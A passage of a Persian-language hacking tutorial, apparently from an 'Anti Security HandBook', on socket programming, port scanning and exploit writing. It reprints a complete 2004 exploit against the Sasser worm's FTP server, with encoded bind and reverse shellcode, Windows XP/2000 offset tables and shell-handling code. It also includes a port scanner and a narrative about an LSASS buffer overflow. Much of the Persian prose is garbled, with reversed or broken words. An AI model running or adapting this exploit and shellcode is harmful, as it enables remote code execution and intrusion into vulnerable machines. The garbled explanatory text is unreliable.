ارگيری  به قابل ویندوز برای مه یعنی سته منظوره دو که داره وجود مه نویسی اکسپلویت رای  مه  و سته  ک وکس  ب شتر  لين ن  از بي  ای
 برای مثال طور به شود می استفاده اهازآن شبکه روی بر بيشتر گسترش مچنينه و پذیری نفوذ قدرت افزایش ی برا اه ابرکرم در شيوه
   .نمود طراحی منظوره دو ورم یک شود می صورت نای به منظور این

 
//Black_Devils B0ys Coded 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <time.h> 
#ifdef WIN32 
#include <winsock.h> 
#include "winerr.h" 
#define close closesocket 
#else 
#include <unistd.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <arpa/inet.h> 
#include <netdb.h> 
#endif 

  
ه  می چک ابتدا که است ساده شرطی تابع یک بينيد می که مانطوره باشه داشته نياز اضافی توضيحی به بالا کد کنم نمی فکر ه  کن ا  ک  آی

د  می فراخوانی را ویندوزی کمکی توابع باشه ویندوزی گها نه یا ست هویندوزی نوع از نظر مورد سيستم ه  و کن ل  گرن  کمکی  ای ه فای
  . بنده می رو نظر مورد سوکت سپس فراخوانی رو لينوکس

 
ا  داد مهنخوا  اضافی  توضيح  کدی سورس ره برای مقاله ادامه در ه  توجه  ب ی ه و موضوع  ره  فصل  سر  ب نایی  مچنين ی  آش ان  قبل ا  ات  ب

ه  سی  برنام د تو می  نوی ا  اني شتر  توجه  ب ه  بي د  سورس  ب ورد  مطالب  اهک د  دریافت  رو نظر  م د  کني ه  بگویم  بای  Socket بخش  ک
Programming اکسپلویت ره ایه بخش مترینهم از یکی  Remoteوع  تشخيص و دفه شناسایی وظيفه بخش این آید می شمار به  ن

 یک  از استفاده در کره ره که مسائلی مترینهم از یکی مترهم همه از دارد دههبرع را دفه نيودن یا بودن پذیر آسيب مچنينیه و دفه
وذ  به رو جواب که دهخوا می اکسپلویت اجرای و دفه شناسایی و نفوذ از بعد که سته بخشی دارد انتظار اون از اکسپلویت ر  گر  نف  ب
ر  موجود منابع شناسایی قبيل از باشد تواند می متفاوتی ایه چيز جواب این اغلب گرداند ستم  روی ب ه  اییه  حواب  از یکی  سي  اغلب  ک

  .کنند می طراحی آن پایه بر را اکسپلویت پروسه و گردند می آن بدنبال اه کره
  

سپلویت  دافه ا اغلب که آنجایی از سته دفه سيستم ازShell Account  یک گرفتن سی  اک ر  متمرکز  نوی ری  شل  روی ب ه  شده  گي  ب
سپلویتينگ  به رایج صورت ی  شود  می  اطلاق  مه Shell Programming اک ا  داشته  نظر  در ول يد  ب ه  ش ه  ک  از یکی  علمی  صورت  ب

 با گرفت نظر در قربانی ایه سيستم از شل دریافت به محدود را نویسی اکسپلویت نباید و باشد گيری شل تواند می اکسپلویتی ره دافها
ه  مه  مقاله آخر در داد مهخوا ائهار مطالبیSocket Programming  مورد در مقداری بالا مطالب تمامی گرفتن نظر  روش از یکی  ب
  .است بررسی قابل زیر صورت به بالا مطالب تمامی نمایم می اشارهshellcoding  و اکسپلویت ساختن ایه
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ط  داریم قصد ما مقاله این در ورد  در فق يم  صحبت  کمی Black Source  و Socket Programming  م ن  کن  یک  ی شده  خلاصه  ای

ه  باشد  پيچيده آنقدر تواند می اصلی نمودار دادم نشان شما به من که بود افزاری منر پروژه وان  ک اه  در نت ه  آورد در سر  آن از اول نگ  ب
د  می چک مختلف طرق از اه بار و اهبار خودرا توليدی ایه برنامه سازنده شرکت یک مثال طور ا  کنن اگ  ت الی  ایه  ب  کشف  را احتم
   . IIS محصول مثل ندهبد پوشش توانند نمی را اه پذیری آسيب از خيلی مه اوقات تربيش ولی کنند طرف بر و نموده

  
 بر مبنی خبری روزه ره وجود این با ولی داشتند شرکت ندیه متخصصان جمله از (کریه) امنيتی گروه چند و چندینIIS 6  توليد در

   .شنوید می جدید باگ کشف
  
ه  است ترهب ان  اصلی  بحث  ب ان ه خودم ر  Socket Programming  م ردیم  ب رای  گ ستی Socket Programming  بحث  ب ع  بای  تواب

 با که است ترهب شبکه روی بر نویسی کد نحوه برای آموزش ع نو ترینهب .گنجيد دهنخوا ما بحث در که توابعی بگيرید فرا را بيشماری
ه  پرداختن که بگویم باید کنيم کار عملی مثال یک روی بر مه ه  ب ن  درSocket Programming  ایه  بحث  کلي ه  ای ل  مقال دن  قاب  گنجان

  نمود مهخوا اشاره باشد مفيد شما برای کنم می فکر که مفيدی  مطالب به حال ره به نيست
  
 اهآن بودن بسته یا باز از و کرده شناسایی را  دفه ایه سيستم ایهپورت چگونهPort Scanner  برنامه یک که اید کرده فکر حال به تا

رای  اسکنر برنامه یک نمایيد توجه مطالب این به بيشتر برایبررسی گرداند می باز شما به را خروجی و نموده اپيد اطلاع د هبف اینکه  ب  م
   پردازد میDestination  تست به شبکه ای پایه پروتکل دو بوسيله نه یا است باز ای شده شناخته پورت مقصد روی بر
  
د  ینکه ا مطلب  توضيحTCP Scanning  اول روش در ه  گفت  بای ژه   ای داده ایه  پکت  ک رای  ایوی ن  ب د  شده  تعریف  منظور  ای ا  ان  ب

وع  اه  داده پکت نوع این از کدام ره یافت در و فرستادن ورت  ن ين ه و پ از  مچن ا  ب سته  ی ودن  ب ورت  ب ز  پ ه  شد  ده خوا مشخص  ني ن  ب  ای
ل  ای داده خانه بيت 6 داده پکت  این TCP Header در که فرستد می مقصد به را بایت 2 ميزان به مثلا پکت یک مقصد که ترتيب  قاب
 به که خانه بيت 6 این گرداند می بر ما به را خاصی جواب اه داده پکت نوع این از یک ره ترکيبی دریافت و فرستادن با است بررسی
  : از عبارتند اند شده تعریف Header در دادی قرار طور

 
URG – ACK – PSH – RST SYN – FYN Bits 

  
 خصوصيات دیگر مچنينیه و پورت نوع برگشتی جواب با و شده فرستاده مقصد به خاصی منظور به اه داده پکت نوع این از کدام ره

ات  ریز دانستن به من علاقه اگر ندارید نياز زمينه این در جزیيات بيشتر دانستن به)شوند می مشخص د  می  ستيده  علمی  جزیي  از تواني
RFC 
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ورد  ایه  خانه  از بيت سه اگر مثال طور به مثلا (کنيد استفاده خشب این به مربوط ایه ه  نظر  م تاده  مقصد  ب  بيت  سه  کل  و شود  فرس
وم  مقصد  به شدنConnect  ترتيب بدین و اند داده دست یکدیگر با مقصد دو شود داده برگشت نظر مورد ه   شود  می  معل ر  شکل  ب  زی
  .کنيد توجه

  

  
 
  .است گرفته صورت کامل موفقيت باHand shake  ملياتع عمل این بودن موفقيت صورت در
 

  : باشد می زیر ایه صورت به اه بيت ارسال و دریافت دیگر انواع
 

• TCP-Connect() Scanning  ->  SYN Packet 
• TCP-SYN-Scanning 
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• TCP-TSP-FIN-Attacks 
• Fragmentation Scanning 
• FTP Bounce Attack 

  
UDP Scanning  

  
UDP ICMP unreachable scanning 
UDP recvfrom() und write() scanning 
ICMP Echo scanning(Ping) 

  
ر  اسکنر  پورت برنامه سورس به د  توجه  زی ن  ( کني رین هب از یکی  ای ال  ت رای  موجود  ایه  مث نایی  ب ه  آش سی  برنام  در است  شبکه  نوی

  )شود رفع مربوطه اشکال تا يدهد بيشترافزایش یا و ms 500 به را مقدار Runtime صورت
 

#include <windows.h> 
#include <stdio.h> 
// Unter Projekt - Einstellungen - Linker wsock32.lib hinzufügen 
// Basiert auf Portscanner von DarkRaign 
// Portiert für Windows von Trapper 19.04.2000 
#define OFFEN 1 
#define GESCHLOSSEN 0 
WSADATA ws; 
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SOCKET s; 
char ip[40]; 
struct sockaddr_in sa; 
int startport, endport; 
struct hostent *HOST; 
// Dummys 
int i; 
int checkport(int x) 
{ 
s = socket(AF_INET, SOCK_STREAM, 0); 
if (s == INVALID_SOCKET) printf("FEHLER beim Erstellen des 
Sockets\n"); 
sa.sin_family = AF_INET; 
sa.sin_port = htons(x); 
sa.sin_addr.s_addr = *((unsigned long *) HOST->h_addr); 
if(connect(s, (struct sockaddr *)&sa, sizeof(sa))==SOCKET_ERROR) 
{ 
closesocket(s); 
return (GESCHLOSSEN); 
} 
else 
{ 
closesocket(s); 
return (OFFEN); 
} 
} 
void main() 
{ 
WSAStartup(0x0101, &ws); 
printf("Bitte IP oder Hostname eingeben: "); 
scanf("%s", &ip); 
printf("Bitte Startport eingeben: "); 
scanf("%d", &startport); 
printf("Bitte Endport eingeben: "); 
scanf("%d", &endport); 
HOST = gethostbyname(ip); 
printf("\nStarte Portscan auf %s von Port #%d bis #%d\n", ip, 
startport, endport); 
for (i=startport; i<=endport; i++) 
{ 
if(checkport(i) == OFFEN) printf("Port %d ist offen\n", i); 
} 
WSACleanup(); 
} 

   آرگومان از توان می نظر مورد آدرسIP  به Host  اسم تبدیل برای
 

struct hostent* gethostbyname(const char* name); 
  
  نمود استفاده زیر شکل به
 

struct hostent 
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{ 
char *h_name; //Offiziele Namen(z.B. Microsoft.com) 
char **h_aliases;//Aliasnamen 
int h_addrtype; 
int h_length; 
char **h_addr_list;//IP-Nummer(n) 
}; 

  
 نداره اشکالی نياوردین در سر چيزی بالا کد مچنينه و بالا ومهمف از اگر شدید آشنا مقداری اسکنر رتپو برنامه یک کار نحوه با خوب
سمت  با ما اصلی کار که بود این مثال این آورد از من منظور ه  سورس  از اییه  ق ه  سته  اه  برنام رای  منحصرا  ک  ارسال  و دریافت  ب
   .نمود يدهخوا برخورد بسيار اه آرگومان این به شما مه پلویتاکس یک کد سورس یک در شود می استفاده ازشان اه پکت

  
 

Sasser Worm 
  
 معروف کرمftpd  قسمت باشه تونه می جالب بسيار شما برای تونه می که کنم می فکر که ای دیگه مثالPort Scanning  مثال از بعد

تند  اختيارم در رو کد سورس این کهNetSky در دوستانم از ظمنا کنيد توجه ای شبکه توابع و ایه آرگومان به باشه ساسر شکر  گذاش  ت
 فلش به -کنيد دقت زیر ایه کد به شوید می آشنا کرد می استفاده آن از ساسر کرم که ضعفی شناسایی و نوشتن نحوه با ادامه در کنم می
  -شوید می آشنا بيشتر اه قسمت این ميتها با مقاله ادامه در کنيد بيشتری توجه نيز اه
 

/* 
_________ / ___// ____/ ____/ 
/ ___/ __ \\__ \/ __/ / / 
/ / / /_/ /__/ / /___/ /___ 
/_/ \____/____/_____/\____/ 
- ROMANIAN SECURITY RESEARCH 2004 - 
sasser v[a-e] exploit (of its ftpd server) 
exploit version 1.4, public 
author: mandragore 
date: Mon May 10 16:13:31 2004 
vuln type: SEH ptr overwriting 
greets: rosecurity team 
discovery: edcba 
note: sasser.e has its ftpd on port 1023 
update: offsets 
*/ 
#include <stdio.h> 
#include <strings.h> 
#include <signal.h> 
#include <netinet/in.h>  
#include <netdb.h> 
#define NORM "\033[00;00m" 
#define GREEN "\033[01;32m" 
#define YELL "\033[01;33m" 
#define RED "\033[01;31m" 
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED 
"sasser.x" NORM 
#define fatal(x) { perror(x); exit(1); } 
#define default_port 5554 
struct { char *os; long goreg; long gpa; long lla;} 
targets[] = { 
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// { "os", pop pop ret, GetProcAd ptr, LoadLib ptr }, 
{ "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's 
{ "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 }, 
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 }, 
}, tsz; 
unsigned char bsh[]={  
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA, 
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36, 
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF, 
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8, 
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE, 
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22, 
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E, 
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D, 
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9, 
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA, 
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21, 
0xC8,0x21,0x0E 
}; 
unsigned char rsh[]={ 
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA, 
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E, 
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21, 
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE, 
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89, 
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55, 
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3, 
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC, 
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE, 
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2, 
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E 
}; 
char verbose=0; 
void setoff(long GPA, long LLA) { 
int gpa=GPA^0xdededede, lla=LLA^0xdededede; 
memcpy(bsh+0x1d,&gpa,4); 
memcpy(bsh+0x2e,&lla,4); 
memcpy(rsh+0x1d,&gpa,4); 
memcpy(rsh+0x2e,&lla,4); 
} 
void usage(char *argv0) { 
int i; 
printf("%s -d <host/ip> [opts]\n\n",argv0); 
printf("Options:\n"); 
printf(" -h undocumented\n"); 
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printf(" -p <port> to connect to [default: %u]\n",default_port); 
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n"); 
printf(" -P <port> for the shellcode [default: 5300]\n"); 
printf(" -H <host/ip> for the reverse shellcode\n"); 
printf(" -L setup the listener for the reverse shell\n"); 
printf(" -t <target type> [default 0]; choose below\n\n"); 
printf("Types:\n"); 
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++) 
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg); 
exit(1); 
} 
void shell(int s) { 
char buff[4096]; 
int retval; 
fd_set fds; 
printf("[+] connected!\n\n"); 
for (;;) { 
FD_ZERO(&fds); 
FD_SET(0,&fds); 
FD_SET(s,&fds); 
if (select(s+1, &fds, NULL, NULL, NULL) < 0) 
fatal("[-] shell.select()"); 
if (FD_ISSET(0,&fds)) { 
if ((retval = read(1,buff,4096)) < 1) 
fatal("[-] shell.recv(stdin)"); 
send(s,buff,retval,0); 
} 
if (FD_ISSET(s,&fds)) { 
if ((retval = recv(s,buff,4096,0)) < 1) 
fatal("[-] shell.recv(socket)"); 
write(1,buff,retval); 
} 
} 
} 
void callback(short port) { 
struct sockaddr_in sin; 
int s,slen=16; 
sin.sin_family = 2; 
sin.sin_addr.s_addr = 0; 
sin.sin_port = htons(port); 
s=socket(2,1,6); 
if ( bind(s,(struct sockaddr *)&sin, 16) ) { 
kill(getppid(),SIGKILL); 
fatal("[-] shell.bind"); 
} 
listen(s,1); 
s=accept(s,(struct sockaddr *)&sin,&slen); 
shell(s); 
printf("crap\n"); 
} 
int main(int argc, char **argv, char **env) { 
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struct sockaddr_in sin; 
struct hostent *he; 
char *host; int port=default_port; 
char *Host; int Port=5300; char bindopt=1; 
int i,s,pid=0,rip; 
char *buff; 
int type=0; 
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"}; 
printf(BANNER "\n"); 
if (argc==1) 
usage(argv[0]); 
for (i=1;i<argc;i+=2) { 
if (strlen(argv[i]) != 2) 
usage(argv[0]); 
switch(argv[i][1]) { 
case 't': 
type=atoi(argv[i+1]); 
break; 
case 'd': 
host=argv[i+1]; 
break; 
case 'p': 
port=atoi(argv[i+1])?:default_port; 
break; 
case 's': 
if (strstr(argv[i+1],"rev")) 
bindopt=0; 
break; 
case 'H': 
Host=argv[i+1]; 
break; 
case 'P': 
Port=atoi(argv[i+1])?:5300; 
Port=Port ^ 0xdede; 
Port=(Port & 0xff) << 8 | Port >>8; 
memcpy(bsh+0x57,&Port,2); 
memcpy(rsh+0x5a,&Port,2); 
Port=Port ^ 0xdede; 
Port=(Port & 0xff) << 8 | Port >>8; 
break; 
case 'L': 
pid++; i--; 
break; 
case 'v': 
verbose++; i--; 
break; 
case 'h': 
usage(argv[0]); 
default: 
usage(argv[0]); 
} 
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} 
if (verbose) 
printf("verbose!\n"); 
if ((he=gethostbyname(host))==NULL) 
fatal("[-] gethostbyname()"); 
sin.sin_family = 2; 
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]); 
sin.sin_port = htons(port); 
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr 
*)he->h_addr_list[0])),port); 
if (bindopt) 
printf("[.] will try to put a bindshell on port %d.\n",Port); 
else { 
if ((he=gethostbyname(Host))==NULL) 
fatal("[-] gethostbyname() for -H"); 
rip=*((long *)he->h_addr_list[0]); 
rip=rip^0xdededede; 
memcpy(rsh+0x53,&rip,4); 
if (pid) { 
printf("[.] setting up a listener on port %d.\n",Port); 
pid=fork(); 
switch (pid) { case 0: callback(Port); } 
} else 
printf("[.] you should have a listener on 
%s:%d.\n",inet_ntoa(*((struct in_addr 
*)he->h_addr_list[0])),Port); 
} 
printf("[.] using type '%s'\n",targets[type].os); 
// -------------------- core 
s=socket(2,1,6); 
if (connect(s,(struct sockaddr *)&sin,16)!=0) { 
if (pid) kill(pid,SIGKILL); 
fatal("[-] connect()"); 
} 
printf("[+] connected, sending exploit\n"); 
buff=(char *)malloc(4096); 
bzero(buff,4096); 
sprintf(buff,"USER x\n"); 
send(s,buff,strlen(buff),0); 
recv(s,buff,4095,0); 
sprintf(buff,"PASS x\n"); 
send(s,buff,strlen(buff),0); 
recv(s,buff,4095,0); 
memset(buff+0000,0x90,2000); 
strncpy(buff,"PORT ",5); 
strcat(buff,"\x0a"); 
memcpy(buff+272,jmp[0],2); 
memcpy(buff+276,&targets[type].goreg,4); 
memcpy(buff+280,jmp[1],5); 
setoff(targets[type].gpa, targets[type].lla); 
if (bindopt) 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١١٥٤    صفحه

memcpy(buff+300,&bsh,strlen(bsh)); 
else 
memcpy(buff+300,&rsh,strlen(rsh)); 
send(s,buff,strlen(buff),0); 
free(buff); 
close(s); 
// -------------------- end of core 
if (bindopt) { 
sin.sin_port = htons(Port); 
sleep(1); 
s=socket(2,1,6); 
if (connect(s,(struct sockaddr *)&sin,16)!=0) 
fatal("[-] exploit most likely failed"); 
shell(s); 
} 
if (pid) wait(&pid); 
exit(0); 
} 

  
ن  و است شده تشکيل بخش چند از کرم یک گفتم که مانطوره امی  ای رم  تم سمت  از یکی  بلکه  نيست  ساسر  ک رم  War Head ایه  ق  ک

د هنخوا نياز توضيح به بالا کد سورس در مورد دو یکی جز به باشين گرفته فرا خوبی به روC  زبان اگر کنم می فکر. ميشه محسوب  ي
  – است شده داده نشان فلش با که اییه قسمت خصوص به داشت

  
رم  که ای  Buffer Over Running و کار نحوه مورد در  shanon دوستم که رو توضيحاتی بگذارید ر  ساسر  ک ستم  روی ب  ایه  سي
ستمی  ره  روی بر شدن اجرا برای برنامه ره دانيد می که مانطوره مهبد توضيح قدری شما برای را ميکند مالاع را ویندوزی د  سي  بای

ه   مراجعه با اه داده پردازش برایCPU  سپس بشود جایگزین سيستم حافظه در ه  حافظه  ب ورد  برنام اری  پروسه  در رو نظر  م  اش ک
د  می  اشغال  موقت  صورت به راRAM از اییه خانه حافظه در گيری قرار نگامه رد برنامه ره بيشتر توضيح برای کند می وارد  کن
ه  منحصر  و اختصاصی شماره یک دارای حافظه ایه خانه این از یک ره بگيرید نظر در محله یک مثل خواب ردی  ب ه  حافظه  در ف  ب
ن  به ستنده شده استاندارد صورتی به اهOFF SET  این کند می اشغال را OFF SETنام ی  ای ه  معن داری  ک ن  از مق  اه  OFFSET  ای

د  شده register ای رایانه ره داخل سيستمی ایه برنامه برای ی  ان ا  یعن ار  ره  ب ستم  نصب  ب ورد  سي ه  نظر  م  درInternal  ایه  برنام
 رسد یم آزاد ایهOFFSET  به نوبت حافظه شده ثبت ایه خانه از بعد گيرند می قرار مادر شرکت قرارادادی ایهOFFSET مونه

 موقت  طور به اهOFFSET  این در حافظه در گذاری بار نگامه در و کنيد می نصب اتان رایانه روی بر که را کاربردی ایه برنامه
د  شده  ثبت ایتانه سيستم داخلی ایه پروسه برای که را حافظه شده ثبت ایه خانه توانند نمی اه برنامه این گيرند می قرار  اشغال  را ان
ان  کاربردی ایه برنامه از ای برنامه مثال طور هب اگر نمایند ن  از یکی  در ده بخوا ات رار  شده  ثبت  ایه OFFSET  ای رد  ق ستم  گي  سي
  یا Out of vitual memory  قبيل از خطایی ایه پيغام ميزند قاط یا و کند می نگه معروف قول به اوقات اغلب و شده تداخل دچار

FATAL ERRORه ه که مثالی به توضيح برای ندهد می روی علت مينه به ا  شما  م نا  آن ب ردازم  می  ستيده  آش رم - پ ه  -ساسر  ک  البت
 در دارم کار آن حافظه کردن سرریز قسمت و اکسپلویت قسمت به ما بيشتر نشده يههت کرم ایجاد آموزش برای مقاله این گفتم که مانطور
   کنم ارائه شما برای خلاصه طور به رو ایشان نامه کنم می یسع : بود داده توضيح طور این فرستاد من برایShanon  که ای نامه

  
 
ودیم  کرده پيدا که ای پذیری آسيب به توجه با گرفتيم تصميم ما ورد  رو ميکروسافت  ب ه  م رار  حمل دیم  ق صميم  ب  درNetSky شاخه  در ت

ه  اه  فعاليت بشود طراحی ورم یک پذیری آسيب این روی از شده کشف پذیری آسيب به توجه با که شد گرفته تصميم شد عوض آلمان  ب
انطور ه شد گيری پی اه آزمایشگاه در روزی شبانه صورت ه  م د  ک رم  ميداني اربری  ایه  حساب  امنيت  پروسه  ساسر  ک ستم  ک  ایه  سي
دوزی ورد رو وین ه م رار حمل ع ار یکی دهد می ق ه تواب ه ای کتابخان تفاده آن ازLSASS.EXE  پروسه ک د می اس  کن

LSASRV.DLLن  که بردیم پی مطلب این به کردیم که تحقيقاتی به توجه با باشد می سمت  ای ل  ق زی  سر  قاب ه  است  ری ر  تصویر  ب  زی
  .کنيد توجه
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ی  پروسه  ر  از یکی LSASS.EXE امنيت شه ه ایه  روال زی ی  مي ه  و است  وزدوین  اجرای ه  طوری  ب ه  ک ع  شد  گفت ه  تواب  ای کتابخان
OFFSETای کتابخانه توابع از دیگر یکی روی بر را مان ایه عاليتف تمامی ما کنند می اشغال را خاصی ای ه  lsass رده  متمرکز  ک

ن  ضعف  نقطه  آخر در توانستيم بافر سرریز تست با سپس بودیم د ه را پروسه  ای ر  شکل  مانن ر  زی دا LSASRV.DLL  روی ب يم  پي  کن
  شوند؟ می انتخاب شدن بافر ریز سر برای ای کتابخانه توابع این از یکی چگونه که باشد شده مطرح برایتان سوال این شاید خواب

  
دین  شاید زیرروال یک اهDLL از یک ره برای نیعی بافر ریز سر تست با است روشن بسير سوال جواب د  و چن سپلویت  چن  نوشته  اک
 دانند می مهه مثلا تنوش متفاوت اکسپلویت نوع 10 بتوان شاید سيستمی بخش ره برای که بدانيد و برد پی آن بودن پذیر نفوذ به تا شود
سپلویت  یک  نتوان آن از دیگری ایه قسنت در که کند نمی تظمين این ولی است شده ترميم RPC حفره که د  اک ا  نوشت  جدی  مشخص  ب

 یک توان می اییه آدرس چه در ميزان چه به و چگونه که ميدهف توان می راحتی به زد يمهخوا که اییه مثال طبق اهآن بافر اندازه شدن
   .شد يدهخوا آشنا بيشتر مطالب این با مقاله ادامه در نمود بافر ریز سر را مهبرنا
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 یک من دیگر اطلاعات دیگر مچنينه و مربوطه کد سورس با خواب بود فرستاده من برای عزیزم دوست که بود چيزی تمام این خواب
ری  نگاه یک مه با بيایيد کردم بيشتری کنجکاوی مقدار ه  دقيقت دازیم LSASRV.DLL  ب ه  من  بين از  رو خودم hexadecimal  برنام  ب
نم  جستجو  رو حافظه  از قسمت کدوم باید دونستم می گشتمlsass.exe پروسه بدنبال حافظه جستجوی فراخوانی با کردم ه  ک ر  ب  شاخه  زی
 در راlsasrv.dll  پروسه ایيدبفرم توجه زیر تصاویر به ترتيب به - بگم که بينم نمی لازم اضافی توضيح کردم مراجعه lsasrv.dll در

 کنونی پک سرویس و عامل سيستم نوع مچنينه و نگارشش به توجه  با سيستمی فایل ره که باشيد داشته توجه– کنيد می دههمشا حافظه
د  می  اش اوتی  ایه OFFSET  دارای توان ند  متف سنده  پس  باش د  نوی ن  ک ه  را مطلب  ای ام ه ب سپلویت   نوشتن  نگ ا  مربوطه  اک ه  توجه  ب  ب

  .گيرد می نظر در سيستم ره حافظه خصوصيات
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د  می اشغال اه رایانه روی بر رو اییهOFFSET  چه lsasrv.dll  که رسيدیم نکته این به بالا مطالب به توجه با سمت  در انوقت  کن  ق

shellcoding کنيد توجه اکسپلویت سورس از قسمت این به نمایيم می استفاده اه داده این از  
 

struct { char *os; long goreg; long gpa; long lla;} 
targets[] = { 
// { "os", pop pop ret, GetProcAd ptr, LoadLib ptr }, 
{ "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's 
{ "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 }, 
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 }, 
}, tsz; 

  
 به توجه باWin2k و win XP ایه سيستم روی برmsvcrt.dll بافر سرریز برای اکسپلویت از قسمت این کنيد می توجه که مانطوره

وط م قسمت بخش این به مربوط ایهکد گفتم که مانطوره بود شده طراحی دوره آن ی اه پک سرویس ه  رب ه  ب رم core  البت  باشد  نمی  ک
ورد  راlsasrv.dll اصلی  بخش خود کند می بافر ریز سر راmsvcrt.dll  که است کرم ایه روال زیر از یکی بلکه ه  م رار  حمل  می  ق
ر  رادر ای علمی مباحثی چه خودش برنامه کوچک خط چند کردید دههمشا که مانطوره دهد ار .گرفت  می  ب دام  ره  یهدرب سمت  از ک  ق
   .کنم می اکتفا مثال مينه به مقاله شدن طولانی از جلوگيری برای نوشت مطلب اه صفحه شود می بالا سورس ایه
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 باشيد ریهما نویس برنامه اگر خلاصه طور به کنم آشنا ای شبکه دستورات مچنينیه و توابع با بيشتر را شما مهخوا می قسمت این در
   .  آموخت يدهراخوا زیر ای هFunction از یک ره با کار نحوه راحتی به
  
  ( آلمانی منبع یک از استفاده با) کنيد توجه شده ارایه جزئی ایه مثال با زیر جدول به
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  فرماید توجه زیر جداول در TCP/UDP Server/Client  برنامه سورس ارهچ به دستورات این کاربرد نحوه با بيشتر آشنایی برای
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1: TCP-Server 
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
int main() 
{ 
struct sockaddr_in my_addr; 
struct sockaddr_in remote_addr; 
int size; 
int s; 
int remote_s; 
/* Die Socket erzeugen */ 
s = socket(AF_INET, SOCK_STREAM, 0); 
if (s < 0) 
{ 
fprintf(stderr, "Error: Socket\n"); 
return -1; 
} 
my_addr.sin_family = AF_INET; 
my_addr.sin_port = htons(2199); /* Port 2199 */ 
my_addr.sin_addr.s_addr = INADDR_ANY; /* An jedem Device warten */ 
